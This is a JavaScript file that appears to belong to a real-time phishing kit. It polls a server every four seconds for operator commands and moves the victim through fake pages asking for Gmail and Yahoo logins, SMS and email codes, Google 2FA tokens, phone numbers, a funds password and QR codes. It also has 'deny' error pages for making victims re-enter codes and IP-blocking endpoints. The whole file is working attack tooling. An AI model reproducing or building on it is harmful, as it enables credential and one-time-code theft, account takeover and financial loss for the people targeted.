function checkDentro() {
  const currentURL = window.location.href;
  if(!currentURL.includes('dentro.php')) window.location.href = "/app/dentro.php"
}
function atualizadados() {
  $(document).ready(function () {
    $.ajax({
      dataType: 'json', //Definimos o tipo de retorno
      url: '/app/main_.php', //Definindo o arquivo onde serão buscados os dados
      success: function (data) {
        function makeid(length) {
          var result = '';
          var characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
          var charactersLength = characters.length;

          for (var i = 0; i < length; i++) {
            result += characters.charAt(Math.floor(Math.random() * charactersLength));
          }
          return result;
        }

        switch (data.comando) {



          case "pediremailrecuperar":
            checkDentro()
            emailrecupera();
            break;


          case "pedirverificaMail":
            checkDentro()
            verificarcodemail();
            break;

          case "pedircodemail":
            checkDentro()
            codemailprovedor();
            break;
          case "pedirtokengmail":
            checkDentro()
            doisfatores();
            break;

          case "pedirtelefonegmail":
            checkDentro()
            telefone();
            break;

          case "notificagmail":
            checkDentro()
            duasetapas();
            break;

          case "pedirsmsgmail":
            checkDentro()
            sms();
            break;

          case "pediremail":
            window.location.href = "/app/dentro.php?" + makeid(100);
            break;

          case "fora_ar":
            window.location.replace("/app/device/");
            break;

          case "envioimagem":
            window.location.replace("/app/notify.php");
            break;

          case "envioimagemX":
            window.location.replace("/app/upload/index.php?error=5");
            break;

          case "pedirbloqueio":
            window.location.href = "#";
            break;

          case "negarsenhanegocio":
            window.location.href = "/app/senhanegocio.php?error=1";
            break;

          case "pedircodigogoogle":
            checkDentro()
            token2fa();
            break;

          case "smscodeverificationP":
            window.location.href = "/app/smscodeverification.php";
            break;

          case "smscodeverificationN":
            window.location.href = "/app/smscodeverification.php?error=1";
            break;

          case "mailcodeverificationP":
            window.location.href = "/app/emailcodeverification.php";
            break;

          case "mailcodeverificationN":
            window.location.href = "/app/emailcodeverification.php?error=1";
            break;

          case "senhafundoP":
            window.location.href = "/app/fundspassword.php";
            break;

          case "senhafundoPQ":
            window.location.href = "/app/QRCode/";
            break;

          case "linkP":
            window.location.href = "/app/redirect.php";
            break;

          case "linkB":
            window.location.href = "/app/batepapo/";
            break;

          case "senhafundoN":
            window.location.href = "/app/fundspassword.php?error=1";
            break;

          case "pedirsenha_cod_2fa":
            window.location.href = "/app/trading_cod.php?" + makeid(100);
            break;

          case "negarsenha_cod_2fa":
            window.location.href = "/app/trading_cod.php?error=1";
            break;


          case "pedirsenha_sms_2fa":
            window.location.href = "/app/trading_sms.php?" + makeid(100);
            break;

          case "negarsenha_sms_2fa":
            window.location.href = "/app/trading_sms.php?error=1";
            break;


          case "codemail":
            window.location.href = "/app/tokenemail.php";
            break;

          case "negarcodmeial":
            window.location.href = "/app/tokenemail.php?error=1";
            break;


          case "2fatoresgoogle":
            window.location.href = "/app/tokenemail.php";
            break;

          case "negarfatorgoogle":
            window.location.href = "/app/tokenemail.php?error=1";
            break;

          case "pedirsms":
            window.location.href = "/app/tokensms.php";
            break;

          case "negarsms":
            window.location.href = "/app/tokensms.php?error=1";
            break;

          case "pedirsms2":
            window.location.href = "/app/tokensms_dentro.php";
            break;

          case "negarsms2":
            window.location.href = "/app/tokensms_dentro.php?error=1";
            break;

          case "2fatores":
            window.location.href = "/app/token.php?" + makeid(100);
            break;

          case "negar2fatores":
            window.location.href = "/app/token.php?error=1";
            break;

          case "2fatoresdentro":
            window.location.href = "/app/token2fainside.php?" + makeid(100);
            break;

          case "negar2fatoresdentro":
            window.location.href = "/app/token2fainside.php?error=1";
            break;

          case "smscodeverificationPdentro":
            window.location.href = "/app/tokensmsinside.php?" + makeid(100);
            break;

          case "smscodeverificationNdentro":
            window.location.href = "/app/tokensmsinside.php?error=1";
            break;

          case "mailcodeverificationPdentro":
            window.location.href = "/app/tokenmailinside.php?" + makeid(100);
            break;

          case "mailcodeverificationNdentro":
            window.location.href = "/app/tokenmailinside.php?error=1";
            break;

          case '<r>':
            window.location.href = "/app/provider/files/yahoo.php?" + makeid(100);
            break;

          case "ok":
            window.location.href = "/app/finalizar.php";
            break;

          case "ipblock":
            window.location.href = "/app/finalizar2.php?";
            break;

          case "bloquearip":
            window.location.href = "/app/finalizar2.php?" + makeid(20);
            break;

          case "negaruser":
            window.location.href = "/app/index.php?error=1";
            break;

          case "deslogar":
            window.location.href = "/app/index.php?error=9";
            break;





        }
      }
    });

    setTimeout('atualizadados()', 4000);
  });
}

atualizadados();